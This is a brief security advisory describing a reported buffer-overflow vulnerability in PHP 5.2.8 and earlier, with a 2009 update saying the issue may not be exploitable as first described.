PHP is prone to a buffer-overflow vulnerability because it fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.
|
|
|
|
An attacker can exploit this issue to execute arbitrary machine code in the context of the affected webserver. Failed exploit attempts will likely crash the webserver, denying service to legitimate users.
|
|
|
|
PHP 5.2.8 and prior versions are vulnerable.
|
|
|
|
UPDATE (March 4, 2009): Further reports indicate that this issue may not be exploitable as described. We will update this BID pending further investigation.
